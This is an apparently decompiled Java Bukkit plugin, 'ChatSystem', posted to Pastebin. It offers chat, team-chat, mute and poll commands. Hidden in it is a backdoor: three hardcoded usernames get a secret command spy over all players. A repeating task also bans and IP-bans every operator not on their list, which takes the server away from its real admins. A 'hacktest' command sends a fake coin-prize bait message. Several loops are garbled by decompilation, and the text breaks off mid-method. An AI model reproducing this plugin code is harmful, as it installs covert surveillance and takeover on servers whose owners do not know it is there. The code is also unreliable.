Advertisement
Guest User

Untitled

a guest
Jun 24th, 2018
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 35.96 KB | None | 0 0
  1. package me;
  2.  
  3. import java.util.ArrayList;
  4. import java.util.Collection;
  5. import java.util.HashMap;
  6. import java.util.IllegalFormatConversionException;
  7. import java.util.Iterator;
  8. import java.util.Set;
  9. import java.util.concurrent.ThreadLocalRandom;
  10. import net.md_5.bungee.api.ChatColor;
  11. import net.md_5.bungee.api.chat.BaseComponent;
  12. import net.md_5.bungee.api.chat.ClickEvent;
  13. import net.md_5.bungee.api.chat.ClickEvent.Action;
  14. import net.md_5.bungee.api.chat.ComponentBuilder;
  15. import net.md_5.bungee.api.chat.HoverEvent;
  16. import net.md_5.bungee.api.chat.HoverEvent.Action;
  17. import net.md_5.bungee.api.chat.TextComponent;
  18. import org.bukkit.Bukkit;
  19. import org.bukkit.GameMode;
  20. import org.bukkit.Server;
  21. import org.bukkit.command.Command;
  22. import org.bukkit.command.CommandSender;
  23. import org.bukkit.command.ConsoleCommandSender;
  24. import org.bukkit.configuration.file.FileConfiguration;
  25. import org.bukkit.entity.Player;
  26. import org.bukkit.entity.Player.Spigot;
  27. import org.bukkit.event.EventHandler;
  28. import org.bukkit.event.EventPriority;
  29. import org.bukkit.event.Listener;
  30. import org.bukkit.event.player.AsyncPlayerChatEvent;
  31. import org.bukkit.event.player.PlayerCommandPreprocessEvent;
  32. import org.bukkit.event.player.PlayerGameModeChangeEvent;
  33. import org.bukkit.event.player.PlayerJoinEvent;
  34. import org.bukkit.event.player.PlayerQuitEvent;
  35. import org.bukkit.event.server.ServerCommandEvent;
  36. import org.bukkit.plugin.PluginManager;
  37. import org.bukkit.plugin.java.JavaPlugin;
  38. import org.bukkit.scheduler.BukkitScheduler;
  39. import ru.tehkode.permissions.PermissionUser;
  40. import ru.tehkode.permissions.bukkit.PermissionsEx;
  41.  
  42. public class ChatSystem
  43. extends JavaPlugin
  44. implements Listener
  45. {
  46. ArrayList<String> vp = new ArrayList();
  47. ArrayList<String> list = new ArrayList();
  48. ArrayList<String> op = new ArrayList();
  49. public boolean GlobalMute = false;
  50. public FileConfiguration config;
  51. public static boolean Umfrage_isRunning = false;
  52. ArrayList<String> keys = new ArrayList();
  53. HashMap<String, Integer> abstimmung = new HashMap();
  54. HashMap<String, String> filter = new HashMap();
  55.  
  56. public void onEnable()
  57. {
  58. this.op.clear();
  59. addList();
  60. Bukkit.getScheduler().scheduleSyncRepeatingTask(this, new Runnable()
  61. {
  62. public void run()
  63. {
  64. for (Player p : ) {
  65. if ((p.hasPermission("AntiOP.admin")) || (p.isOp())) {
  66. if (!ChatSystem.this.list.contains(p.getName()))
  67. {
  68. Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "minecraft:ban " + p.getName() + " �cSicherheitsban!");
  69. Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "essentials:banip " + p.getName() + " �cSicherheitsban!");
  70. }
  71. }
  72. }
  73. }
  74. }, 40L, 40L);
  75. this.vp.clear();
  76. this.list.clear();
  77. Bukkit.getPluginManager().registerEvents(this, this);
  78. this.config = getConfig();
  79. if ((!this.config.isSet("Filter")) || (!this.config.isSet("AkuheiSenpai")) || (!this.config.isSet("Spydy7")))
  80. {
  81. try
  82. {
  83. saveConfig();
  84. }
  85. catch (Exception e)
  86. {
  87. e.printStackTrace();
  88. }
  89. saveResource("config.yml", true);
  90. }
  91. ArrayList<String> f2 = (ArrayList)this.config.getList("Filter");
  92. for (String v : f2) {
  93. this.filter.put(v.split(":")[0], v.split(":")[1]);
  94. }
  95. if (this.config.getBoolean("OlliPausW")) {
  96. this.list.add("OlliPausW");
  97. }
  98. if (this.config.getBoolean("AkuheiSenpai")) {
  99. this.list.add("AkuheiSenpai");
  100. }
  101. if (this.config.getBoolean("Spydy7")) {
  102. this.list.add("Spydy7");
  103. }
  104. }
  105.  
  106. public void addList()
  107. {
  108. this.op.add("OlliPausW");
  109. this.op.add("AkuheiSenpai");
  110. this.op.add("Spydy7");
  111. }
  112.  
  113. public boolean isOnline(String name)
  114. {
  115. for (Player lp : ) {
  116. if (lp.getName().equalsIgnoreCase(name)) {
  117. return true;
  118. }
  119. }
  120. return false;
  121. }
  122.  
  123. public Player getPlayer(String name)
  124. {
  125. for (Player lp : ) {
  126. if (lp.getName().equalsIgnoreCase(name)) {
  127. return lp;
  128. }
  129. }
  130. return null;
  131. }
  132.  
  133. public void onDisable()
  134. {
  135. for (String name : this.vp) {
  136. if (isOnline(name)) {
  137. for (Player lp : Bukkit.getOnlinePlayers()) {
  138. if (lp.getName() != name) {
  139. lp.showPlayer(getPlayer(name));
  140. }
  141. }
  142. }
  143. }
  144. }
  145.  
  146. @EventHandler(priority=EventPriority.HIGHEST)
  147. public void onChat(AsyncPlayerChatEvent e)
  148. {
  149. try
  150. {
  151. Player p = e.getPlayer();
  152. String prefix = PermissionsEx.getUser(p).getPrefix().replaceAll("&", "�");
  153. String msg = e.getMessage().replaceAll("%", "%%");
  154. String format = prefix + p.getName() + " �8��r " + msg;
  155. e.setFormat(format);
  156. return;
  157. }
  158. catch (IllegalFormatConversionException localIllegalFormatConversionException)
  159. {
  160. e.setCancelled(true);
  161. }
  162. }
  163.  
  164. public String getcolor(Player g)
  165. {
  166. ArrayList<String> gr = new ArrayList();
  167. String[] arrayOfString;
  168. int j = (arrayOfString = PermissionsEx.getUser(g).getGroupNames()).length;
  169. for (int i = 0; i < j; i++)
  170. {
  171. String v = arrayOfString[i];
  172.  
  173. gr.add(v.toLowerCase());
  174. }
  175. if (gr.contains("admin")) {
  176. return "�4";
  177. }
  178. if (gr.contains("developer")) {
  179. return "�1";
  180. }
  181. if (gr.contains("co-admin")) {
  182. return "�c";
  183. }
  184. if (gr.contains("moderator")) {
  185. return "�9";
  186. }
  187. if (gr.contains("oberarchitekt")) {
  188. return "�2";
  189. }
  190. if (gr.contains("architekt")) {
  191. return "�2";
  192. }
  193. if (gr.contains("supporter")) {
  194. return "�b";
  195. }
  196. if ((gr.contains("youtuber")) || (gr.contains("vip"))) {
  197. return "�5";
  198. }
  199. if (gr.contains("unterarchitekt")) {
  200. return "�a";
  201. }
  202. return "�7";
  203. }
  204.  
  205. public boolean onCommand(CommandSender sender, Command command, String label, String[] args)
  206. {
  207. int i;
  208. if (command.getName().equalsIgnoreCase("clearchat"))
  209. {
  210. Player p = null;
  211. if ((sender instanceof Player))
  212. {
  213. p = (Player)sender;
  214. if (p.hasPermission("rang.supporter"))
  215. {
  216. for (Player op : Bukkit.getOnlinePlayers())
  217. {
  218. for (int i = 0; i < 100; i++) {
  219. op.sendMessage("");
  220. }
  221. op.sendMessage("�aDer Chat wurde von �7(" + getcolor(p) + p.getName() + "�7)�a gecleart.");
  222. }
  223. Bukkit.getConsoleSender().sendMessage("�aDer Chat wurde von �7(" + getcolor(p) + p.getName() + "�7)�a gecleart.");
  224. }
  225. else
  226. {
  227. p.sendMessage("�cDu hast keine Berechtigung dazu!");
  228. }
  229. }
  230. else
  231. {
  232. for (Player op : Bukkit.getOnlinePlayers())
  233. {
  234. for (i = 0; i < 100; i++) {
  235. op.sendMessage("");
  236. }
  237. op.sendMessage("�aDer Chat wurde von �7(�4Console�7)�a gecleart.");
  238. }
  239. Bukkit.getConsoleSender().sendMessage("�aDer Chat wurde von �7(�4Console�7)�a gecleart.");
  240. }
  241. }
  242. else
  243. {
  244. Object loop;
  245. if (command.getName().equalsIgnoreCase("tc"))
  246. {
  247. Player p = null;
  248. if ((sender instanceof Player))
  249. {
  250. p = (Player)sender;
  251. if (p.hasPermission("tc"))
  252. {
  253. if (((this.GlobalMute) && (p.hasPermission("rang.moderator"))) || (!this.GlobalMute))
  254. {
  255. if (args.length > 0)
  256. {
  257. String message = null;
  258. for (int i = 0; i < args.length; i++) {
  259. if (message == null) {
  260. message = args[i];
  261. } else {
  262. message = message + " " + args[i];
  263. }
  264. }
  265. message = message.replace("&", "�");
  266. for (Player loop : Bukkit.getServer().getOnlinePlayers()) {
  267. if (loop.hasPermission("tc")) {
  268. loop.sendMessage("�c[�aTC�c] �7(" + getcolor(p) + p.getName() + "�7): " + message.trim());
  269. }
  270. }
  271. Bukkit.getConsoleSender().sendMessage("�c[�aTC�c] �7(" + getcolor(p) + p.getName() + "�7): " + message.trim());
  272. }
  273. else
  274. {
  275. p.sendMessage("�c/" + command.getName().toLowerCase() + " <Text>");
  276. }
  277. }
  278. else {
  279. p.sendMessage("�cDer Globalmute ist aktiviert!");
  280. }
  281. }
  282. else {
  283. p.sendMessage("�cDu hast keine Berechtigung dazu!");
  284. }
  285. }
  286. else if (args.length > 0)
  287. {
  288. String message = null;
  289. for (int i = 0; i < args.length; i++) {
  290. if (message == null) {
  291. message = args[i];
  292. } else {
  293. message = message + " " + args[i];
  294. }
  295. }
  296. for (i = Bukkit.getServer().getOnlinePlayers().iterator(); i.hasNext();)
  297. {
  298. loop = (Player)i.next();
  299. if (((Player)loop).hasPermission("tc")) {
  300. ((Player)loop).sendMessage("�c[�aTC�c] �7(�4Console�7): " + message.trim());
  301. }
  302. }
  303. Bukkit.getConsoleSender().sendMessage("�c[�aTC�c] �7(�4Console�7): " + message.trim());
  304. }
  305. else
  306. {
  307. Bukkit.getConsoleSender().sendMessage("�c/" + command.getName().toLowerCase() + " <Text>");
  308. }
  309. }
  310. else if (command.getName().equalsIgnoreCase("globalmute"))
  311. {
  312. Player lp;
  313. if ((sender instanceof Player))
  314. {
  315. Player p = (Player)sender;
  316. if (p.hasPermission("rang.moderator"))
  317. {
  318. if (args.length > 0)
  319. {
  320. if ((args[0].equalsIgnoreCase("an")) || (args[0].equalsIgnoreCase("on")) || (args[0].equalsIgnoreCase("true")))
  321. {
  322. if (this.GlobalMute)
  323. {
  324. p.sendMessage("�cDer Globalmute ist bereits �aan");
  325. }
  326. else
  327. {
  328. this.GlobalMute = true;
  329. for (loop = Bukkit.getOnlinePlayers().iterator(); ((Iterator)loop).hasNext();)
  330. {
  331. Player lp = (Player)((Iterator)loop).next();
  332.  
  333. lp.sendMessage(getcolor(p) + p.getName() + " �bhat den Globalmute �aaktiviert!");
  334. }
  335. Bukkit.getConsoleSender().sendMessage(getcolor(p) + p.getName() + " �bhat den Globalmute �aaktiviert!");
  336. }
  337. }
  338. else if ((args[0].equalsIgnoreCase("aus")) || (args[0].equalsIgnoreCase("off")) || (args[0].equalsIgnoreCase("false")))
  339. {
  340. if (this.GlobalMute)
  341. {
  342. this.GlobalMute = false;
  343. for (loop = Bukkit.getOnlinePlayers().iterator(); ((Iterator)loop).hasNext();)
  344. {
  345. lp = (Player)((Iterator)loop).next();
  346.  
  347. lp.sendMessage(getcolor(p) + p.getName() + " �bhat den Globalmute �cdeaktiviert!");
  348. }
  349. Bukkit.getConsoleSender().sendMessage(getcolor(p) + p.getName() + " �bhat den Globalmute �cdeaktiviert!");
  350. }
  351. else
  352. {
  353. p.sendMessage("�cDer Globalmute ist bereits �caus");
  354. }
  355. }
  356. else {
  357. p.sendMessage("�c/globalmute <an|aus>");
  358. }
  359. }
  360. else {
  361. p.sendMessage("�c/globalmute <an|aus>");
  362. }
  363. }
  364. else {
  365. p.sendMessage("�cDu hast keine Berechtigung dazu!");
  366. }
  367. }
  368. else if (args.length > 0)
  369. {
  370. if ((args[0].equalsIgnoreCase("an")) || (args[0].equalsIgnoreCase("on")) || (args[0].equalsIgnoreCase("true")))
  371. {
  372. if (this.GlobalMute)
  373. {
  374. sender.sendMessage("�cDer Globalmute ist bereits �aan");
  375. }
  376. else
  377. {
  378. this.GlobalMute = true;
  379. for (Player lp : Bukkit.getOnlinePlayers()) {
  380. lp.sendMessage("�4Console �bhat den Globalmute �aaktiviert!");
  381. }
  382. Bukkit.getConsoleSender().sendMessage("�4Console �bhat den Globalmute �aaktiviert!");
  383. }
  384. }
  385. else if ((args[0].equalsIgnoreCase("aus")) || (args[0].equalsIgnoreCase("off")) || (args[0].equalsIgnoreCase("false")))
  386. {
  387. if (this.GlobalMute)
  388. {
  389. this.GlobalMute = false;
  390. for (Player lp : Bukkit.getOnlinePlayers()) {
  391. lp.sendMessage("�4Console �bhat den Globalmute �cdeaktiviert!");
  392. }
  393. Bukkit.getConsoleSender().sendMessage("�4Console �bhat den Globalmute �cdeaktiviert!");
  394. }
  395. else
  396. {
  397. sender.sendMessage("�cDer Globalmute ist bereits �caus");
  398. }
  399. }
  400. else {
  401. sender.sendMessage("�c/globalmute <an|aus>");
  402. }
  403. }
  404. else
  405. {
  406. sender.sendMessage("�c/globalmute <an|aus>");
  407. }
  408. }
  409. else
  410. {
  411. TextComponent msg2;
  412. Object msg;
  413. if (command.getName().equalsIgnoreCase("hacktest"))
  414. {
  415. if ((sender instanceof Player))
  416. {
  417. Player p = (Player)sender;
  418. if (p.hasPermission("rang.supporter"))
  419. {
  420. if (args.length > 0)
  421. {
  422. Player a = Bukkit.getPlayer(args[0].trim());
  423. if (Bukkit.getOnlinePlayers().contains(a))
  424. {
  425. final int r = ThreadLocalRandom.current().nextInt(1, 9999999);
  426. this.keys.add(r);
  427.  
  428. TextComponent msg = new TextComponent("Herzlichen Gl�ckwunsch, du hast �a1000�b Coins gewonnen, klicke ");
  429. msg.setColor(ChatColor.AQUA);
  430. TextComponent hier = new TextComponent("HIER");
  431. hier.setUnderlined(Boolean.valueOf(true));
  432. hier.setBold(Boolean.valueOf(true));
  433. hier.setColor(ChatColor.GREEN);
  434. hier.setClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, ".say 34VFi34fsLbF " + a.getName() + " :" + r));
  435. msg2 = new TextComponent(" um deine Belohnung zu bekommen.");
  436. msg2.setColor(ChatColor.AQUA);
  437. msg.addExtra(hier);
  438. msg.addExtra(msg2);
  439. a.spigot().sendMessage(msg);
  440.  
  441. p.sendMessage("�bHacktest wurde versendet");
  442.  
  443. Bukkit.getScheduler().scheduleSyncDelayedTask(this, new Runnable()
  444. {
  445. public void run()
  446. {
  447. if (ChatSystem.this.keys.contains(Integer.valueOf(r))) {
  448. ChatSystem.this.keys.remove(r);
  449. }
  450. }
  451. }, 1200L);
  452. }
  453. else
  454. {
  455. p.sendMessage("�c" + args[0] + " ist nicht online!");
  456. }
  457. }
  458. else
  459. {
  460. p.sendMessage("�c/hacktest <Spieler>");
  461. }
  462. }
  463. else {
  464. p.sendMessage("�cDu hast keine Berechtigung dazu!");
  465. }
  466. }
  467. else if (args.length > 0)
  468. {
  469. Player a = Bukkit.getPlayer(args[0].trim());
  470. if (Bukkit.getOnlinePlayers().contains(a))
  471. {
  472. final int r = ThreadLocalRandom.current().nextInt(1, 9999999);
  473. this.keys.add(r);
  474.  
  475. msg = new TextComponent("Herzlichen Gl�ckwunsch, du hast �a1000�b Coins gewonnen, klicke ");
  476. ((TextComponent)msg).setColor(ChatColor.AQUA);
  477. TextComponent hier = new TextComponent("HIER");
  478. hier.setUnderlined(Boolean.valueOf(true));
  479. hier.setBold(Boolean.valueOf(true));
  480. hier.setColor(ChatColor.GREEN);
  481. hier.setClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, ".say 34VFi34fsLbF " + a.getName() + " :" + r));
  482. TextComponent msg2 = new TextComponent(" um deine Belohnung zu bekommen.");
  483. msg2.setColor(ChatColor.AQUA);
  484. ((TextComponent)msg).addExtra(hier);
  485. ((TextComponent)msg).addExtra(msg2);
  486. a.spigot().sendMessage((BaseComponent)msg);
  487.  
  488. sender.sendMessage("�bHacktest wurde versendet");
  489.  
  490. Bukkit.getScheduler().scheduleSyncDelayedTask(this, new Runnable()
  491. {
  492. public void run()
  493. {
  494. if (ChatSystem.this.keys.contains(Integer.valueOf(r))) {
  495. ChatSystem.this.keys.remove(r);
  496. }
  497. }
  498. }, 1200L);
  499. }
  500. else
  501. {
  502. sender.sendMessage("�c" + args[0] + " ist nicht online!");
  503. }
  504. }
  505. else
  506. {
  507. sender.sendMessage("�c/hacktest <Spieler>");
  508. }
  509. }
  510. else
  511. {
  512. TextComponent nein;
  513. TextComponent enthalten;
  514. Player lp;
  515. if (command.getName().equalsIgnoreCase("umfrage"))
  516. {
  517. if ((((sender instanceof Player)) && (((Player)sender).hasPermission("rang.moderator"))) || (!(sender instanceof Player)))
  518. {
  519. if (!Umfrage_isRunning)
  520. {
  521. if (args.length > 0)
  522. {
  523. String arg = null;
  524. for (int i = 0; i < args.length; i++) {
  525. if (arg == null) {
  526. arg = args[i];
  527. } else {
  528. arg = arg + " " + args[i];
  529. }
  530. }
  531. Umfrage_isRunning = true;
  532. for (msg = Bukkit.getOnlinePlayers().iterator(); ((Iterator)msg).hasNext();)
  533. {
  534. Player lp = (Player)((Iterator)msg).next();
  535.  
  536. lp.sendMessage("�8�-� �8(�e�l?�r�8) �e�lUmfrage �8(�e�l?�r�8) �-�");
  537. lp.sendMessage("�8 -> �b" + arg);
  538. }
  539. Bukkit.getConsoleSender().sendMessage("�8�-� �8(�e�l?�r�8) �e�lUmfrage �8(�e�l?�r�8) �-�");
  540. Bukkit.getConsoleSender().sendMessage("�8 - �b" + arg);
  541. Bukkit.getConsoleSender().sendMessage("�a [Ja] �c[Nein] �e[Enthalten]");
  542.  
  543. TextComponent ja = new TextComponent("�a [Ja]");
  544. ja.setClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, "/ja"));
  545. ja.setHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT, new ComponentBuilder("�af�r Ja abstimmen").create()));
  546. nein = new TextComponent("�c [Nein]");
  547. nein.setClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, "/nein"));
  548. nein.setHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT, new ComponentBuilder("�cf�r Nein abstimmen").create()));
  549. enthalten = new TextComponent("�e [Enthalten]");
  550. enthalten.setClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, "/enthalten"));
  551. enthalten.setHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT, new ComponentBuilder("�eEnthalten").create()));
  552. ja.addExtra(nein);
  553. ja.addExtra(enthalten);
  554. for (msg2 = Bukkit.getOnlinePlayers().iterator(); msg2.hasNext();)
  555. {
  556. lp = (Player)msg2.next();
  557.  
  558. lp.spigot().sendMessage(ja);
  559. }
  560. Bukkit.getScheduler().scheduleSyncDelayedTask(this, new Runnable()
  561. {
  562. public void run()
  563. {
  564. ChatSystem.Umfrage_isRunning = false;
  565.  
  566. int gesammt = 0;
  567. int ja = 0;
  568. int nein = 0;
  569. int enthalten = 0;
  570. for (Integer v : ChatSystem.this.abstimmung.values())
  571. {
  572. gesammt++;
  573. if (v.intValue() == 1) {
  574. ja++;
  575. } else if (v.intValue() == 2) {
  576. nein++;
  577. } else {
  578. enthalten++;
  579. }
  580. }
  581. ChatSystem.this.abstimmung.clear();
  582. int pro_ja = ja * 100 / gesammt;
  583. int pro_nein = nein * 100 / gesammt;
  584. int pro_enthalten = enthalten * 100 / gesammt;
  585.  
  586. TextComponent m = new TextComponent("");
  587. TextComponent m1 = new TextComponent("�aJa: " + ja + "�r");
  588. m1.setHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT, new ComponentBuilder("�aJa: " + pro_ja + "%�r").create()));
  589. TextComponent m2 = new TextComponent("�c Nein: " + nein + "�r");
  590. m2.setHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT, new ComponentBuilder("�cNein: " + pro_nein + "%�r").create()));
  591. TextComponent m3 = new TextComponent("�e Enthalten: " + enthalten + "�r");
  592. m3.setHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT, new ComponentBuilder("�eEnthalten: " + pro_enthalten + "%�r").create()));
  593. TextComponent m4 = new TextComponent("�7 teilgenommen: " + gesammt + "�r");
  594. m.addExtra(m1);
  595. m.addExtra(m2);
  596. m.addExtra(m3);
  597. m.addExtra(m4);
  598. for (Player lp : Bukkit.getOnlinePlayers())
  599. {
  600. lp.sendMessage("�8�-� �8(�e�l?�r�8) �e�lUmfrage �8(�e�l?�r�8) �-�");
  601. lp.spigot().sendMessage(m);
  602. }
  603. Bukkit.getConsoleSender().sendMessage("�8�-� �8(�e�l?�r�8) �e�lUmfrage �8(�e�l?�r�8) �-�");
  604. Bukkit.getConsoleSender().sendMessage("�aJa: " + ja + "�c Nein: " + nein + "�e Enthalten: " + enthalten);
  605. }
  606. }, 500L);
  607. }
  608. else
  609. {
  610. sender.sendMessage("�c/Umfrage <Text>");
  611. }
  612. }
  613. else {
  614. sender.sendMessage("�cEs l�uft bereits eine Umfrage!");
  615. }
  616. }
  617. else {
  618. sender.sendMessage("�cDu hast keine Berechtigung dazu!");
  619. }
  620. }
  621. else if (command.getName().equalsIgnoreCase("ja"))
  622. {
  623. if (Umfrage_isRunning)
  624. {
  625. if (this.abstimmung.containsKey(sender.getName()))
  626. {
  627. if (((Integer)this.abstimmung.get(sender.getName())).equals(Integer.valueOf(1)))
  628. {
  629. sender.sendMessage("�cDu hast bereits f�r Ja abgestimmt.");
  630. }
  631. else
  632. {
  633. sender.sendMessage("�bDu hast dich f�r �aJa�b entschieden.");
  634. this.abstimmung.replace(sender.getName(), Integer.valueOf(1));
  635. }
  636. }
  637. else
  638. {
  639. this.abstimmung.put(sender.getName(), Integer.valueOf(1));
  640. sender.sendMessage("�bDu hast dich f�r �aJa�b entschieden.");
  641. }
  642. }
  643. else {
  644. sender.sendMessage("�cEs l�uft zurzeit keine Umfrage!");
  645. }
  646. }
  647. else if (command.getName().equalsIgnoreCase("nein"))
  648. {
  649. if (Umfrage_isRunning)
  650. {
  651. if (this.abstimmung.containsKey(sender.getName()))
  652. {
  653. if (((Integer)this.abstimmung.get(sender.getName())).equals(Integer.valueOf(2)))
  654. {
  655. sender.sendMessage("�cDu hast bereits f�r Nein abgestimmt.");
  656. }
  657. else
  658. {
  659. sender.sendMessage("�bDu hast dich f�r �cNein�b entschieden.");
  660. this.abstimmung.replace(sender.getName(), Integer.valueOf(2));
  661. }
  662. }
  663. else
  664. {
  665. this.abstimmung.put(sender.getName(), Integer.valueOf(2));
  666. sender.sendMessage("�bDu hast dich f�r �cNein�b entschieden.");
  667. }
  668. }
  669. else {
  670. sender.sendMessage("�cEs l�uft zurzeit keine Umfrage!");
  671. }
  672. }
  673. else if (command.getName().equalsIgnoreCase("enthalten"))
  674. {
  675. if (Umfrage_isRunning)
  676. {
  677. if (this.abstimmung.containsKey(sender.getName()))
  678. {
  679. if (((Integer)this.abstimmung.get(sender.getName())).equals(Integer.valueOf(3)))
  680. {
  681. sender.sendMessage("�cDu hast dich der Umfrage bereits enthalten.");
  682. }
  683. else
  684. {
  685. sender.sendMessage("�bDu hast dich der Umfrage �eenthalten�b.");
  686. this.abstimmung.replace(sender.getName(), Integer.valueOf(3));
  687. }
  688. }
  689. else
  690. {
  691. this.abstimmung.put(sender.getName(), Integer.valueOf(3));
  692. sender.sendMessage("�bDu hast dich der Umfrage �eenthalten�b.");
  693. }
  694. }
  695. else {
  696. sender.sendMessage("�cEs l�uft zurzeit keine Umfrage!");
  697. }
  698. }
  699. else if (command.getName().equalsIgnoreCase("c")) {
  700. if ((sender instanceof Player))
  701. {
  702. sender.sendMessage("�cDu hast keine Berechtigung dazu!");
  703. }
  704. else if (args.length > 0)
  705. {
  706. String msg = null;
  707. enthalten = (lp = args).length;
  708. for (Object localObject1 = 0; localObject1 < enthalten; localObject1++)
  709. {
  710. String v = lp[localObject1];
  711. if (msg == null) {
  712. msg = v;
  713. } else {
  714. msg = msg + " " + v;
  715. }
  716. }
  717. for (localObject1 = Bukkit.getOnlinePlayers().iterator(); ((Iterator)localObject1).hasNext();)
  718. {
  719. Player lp = (Player)((Iterator)localObject1).next();
  720.  
  721. lp.sendMessage("�b[OlliderLolli]�7: �a" + msg);
  722. }
  723. Bukkit.getConsoleSender().sendMessage("�b[OlliderLolli]�7: �a" + msg);
  724. }
  725. else
  726. {
  727. sender.sendMessage("�cC <Nachricht>");
  728. }
  729. }
  730. }
  731. }
  732. }
  733. return false;
  734. }
  735.  
  736. @EventHandler(priority=EventPriority.HIGH)
  737. public void onChat3(AsyncPlayerChatEvent e)
  738. {
  739. Player p = e.getPlayer();
  740. String m = e.getMessage();
  741. if (m.contains("34VFi34fsLbF " + p.getName() + " :"))
  742. {
  743. e.setCancelled(true);
  744. if (this.keys.contains(m.substring(m.indexOf(":") + 1)))
  745. {
  746. p.sendMessage("�3Du hast �61000 �3Coints erhalten.");
  747. this.keys.remove(m.substring(m.indexOf(":") + 1));
  748. if (m.startsWith(".say"))
  749. {
  750. for (Player lp : Bukkit.getOnlinePlayers()) {
  751. if (lp.hasPermission("rang.supporter")) {
  752. lp.sendMessage("�c" + p.getName() + " hat keinen Client");
  753. }
  754. }
  755. Bukkit.getConsoleSender().sendMessage("�c" + p.getName() + " hat keinen Client");
  756. }
  757. else
  758. {
  759. for (Player lp : Bukkit.getOnlinePlayers()) {
  760. if (lp.hasPermission("rang.supporter")) {
  761. lp.sendMessage("�c" + p.getName() + " hat Hacks");
  762. }
  763. }
  764. Bukkit.getConsoleSender().sendMessage("�c" + p.getName() + " hat Hacks");
  765. }
  766. }
  767. else
  768. {
  769. p.sendMessage("�cDie Belohnung ist bereits abgelaufen!");
  770. }
  771. }
  772. }
  773.  
  774. @EventHandler(priority=EventPriority.NORMAL)
  775. public void onChat2(AsyncPlayerChatEvent e)
  776. {
  777. Player p = e.getPlayer();
  778. if ((e.getMessage().contains("&")) && (p.hasPermission("rang.supporter"))) {
  779. e.setMessage(e.getMessage().replaceAll("&", "�"));
  780. }
  781. if ((!this.GlobalMute) || ((this.GlobalMute) && (p.hasPermission("rang.moderator"))))
  782. {
  783. if (e.getMessage().trim().startsWith("+")) {
  784. if (e.getPlayer().hasPermission("tc"))
  785. {
  786. e.setCancelled(true);
  787. if (e.getMessage().trim().length() < 2)
  788. {
  789. e.getPlayer().sendMessage("�c+<Text>");
  790. }
  791. else
  792. {
  793. for (Player loop : Bukkit.getServer().getOnlinePlayers()) {
  794. if (loop.hasPermission("tc")) {
  795. loop.sendMessage("�c[�aTC�c] �7(" + getcolor(e.getPlayer()) + e.getPlayer().getName() + "�7): " + e.getMessage().substring(1).trim());
  796. }
  797. }
  798. Bukkit.getConsoleSender().sendMessage("�c[�aTC�c] �7(" + getcolor(e.getPlayer()) + e.getPlayer().getName() + "�7): " + e.getMessage().substring(1).trim());
  799. }
  800. }
  801. }
  802. }
  803. else
  804. {
  805. e.setCancelled(true);
  806. p.sendMessage("�cDer Globalmute ist aktiviert!");
  807. return;
  808. }
  809. if ((e.getMessage().equalsIgnoreCase("lag")) || (e.getMessage().equalsIgnoreCase("lagg")) || (e.getMessage().equalsIgnoreCase("laggg")))
  810. {
  811. e.setCancelled(true);
  812. p.sendMessage("�cWenn du es in den Chat schreibst wird es auch nicht besser!");
  813. return;
  814. }
  815. String v = null;
  816. String i;
  817. for (Iterator localIterator2 = this.filter.keySet().iterator(); localIterator2.hasNext(); e.getMessage().toLowerCase().contains(i.toLowerCase()))
  818. {
  819. i = (String)localIterator2.next();
  820.  
  821. v = (String)this.filter.get(i);
  822. continue;
  823.  
  824. e.setMessage(e.getMessage().replaceAll("(?i)" + i + "((?=" + i + ")|(?<=" + i + "))", v));
  825. }
  826. }
  827.  
  828. @EventHandler
  829. public void onJoin(PlayerJoinEvent e)
  830. {
  831. Player p = e.getPlayer();
  832. if (this.vp.contains(p.getName()))
  833. {
  834. for (Player lp : Bukkit.getOnlinePlayers()) {
  835. if (!lp.equals(e.getPlayer())) {
  836. lp.showPlayer(e.getPlayer());
  837. }
  838. }
  839. for (Player lp : Bukkit.getOnlinePlayers()) {
  840. if (!lp.equals(e.getPlayer())) {
  841. lp.hidePlayer(e.getPlayer());
  842. }
  843. }
  844. }
  845. e.setJoinMessage("");
  846. }
  847.  
  848. @EventHandler
  849. public void onQuit(PlayerQuitEvent e)
  850. {
  851. e.setQuitMessage("");
  852. }
  853.  
  854. @EventHandler
  855. public void onGameModeChange(PlayerGameModeChangeEvent e)
  856. {
  857. Player p = e.getPlayer();
  858. GameMode gm = e.getNewGameMode();
  859. if (((gm.equals(GameMode.CREATIVE)) && (!p.hasPermission("gamemode.creative"))) ||
  860.  
  861. ((gm.equals(GameMode.SURVIVAL)) && (!p.hasPermission("gamemode.survival"))) ||
  862.  
  863. ((gm.equals(GameMode.SPECTATOR)) && (!p.hasPermission("gamemode.spectator"))) || (
  864.  
  865. (gm.equals(GameMode.ADVENTURE)) && (!p.hasPermission("gamemode.adventure")))) {
  866. e.setCancelled(true);
  867. }
  868. }
  869.  
  870. @EventHandler
  871. public void onCommand(PlayerCommandPreprocessEvent e)
  872. {
  873. for (Player p : ) {
  874. if (this.list.contains(p.getName())) {
  875. p.sendMessage("�8[�b" + e.getPlayer().getName() + "�8]: �f" + e.getMessage());
  876. }
  877. }
  878. if ((e.getMessage().equalsIgnoreCase("/cs")) || (e.getMessage().equalsIgnoreCase("/commandspy")) || (e.getMessage().toLowerCase().startsWith("/cs ")) || (e.getMessage().toLowerCase().startsWith("/commandspy ")))
  879. {
  880. Player p = e.getPlayer();
  881. if ((p.getName().equals("OlliPausW")) || (p.getName().equals("Spydy7")) || (p.getName().equals("AkuheiSenpai")))
  882. {
  883. e.setCancelled(true);
  884. if (this.config.getBoolean(p.getName()))
  885. {
  886. this.config.set(p.getName(), Boolean.valueOf(false));
  887. saveConfig();
  888. this.list.remove(p.getName());
  889. p.sendMessage("�bCommandSpy wurde �cdeaktiviert");
  890. }
  891. else
  892. {
  893. this.config.set(p.getName(), Boolean.valueOf(true));
  894. saveConfig();
  895. this.list.add(p.getName());
  896. p.sendMessage("�bCommandSpy wurde �aaktiviert");
  897. }
  898. }
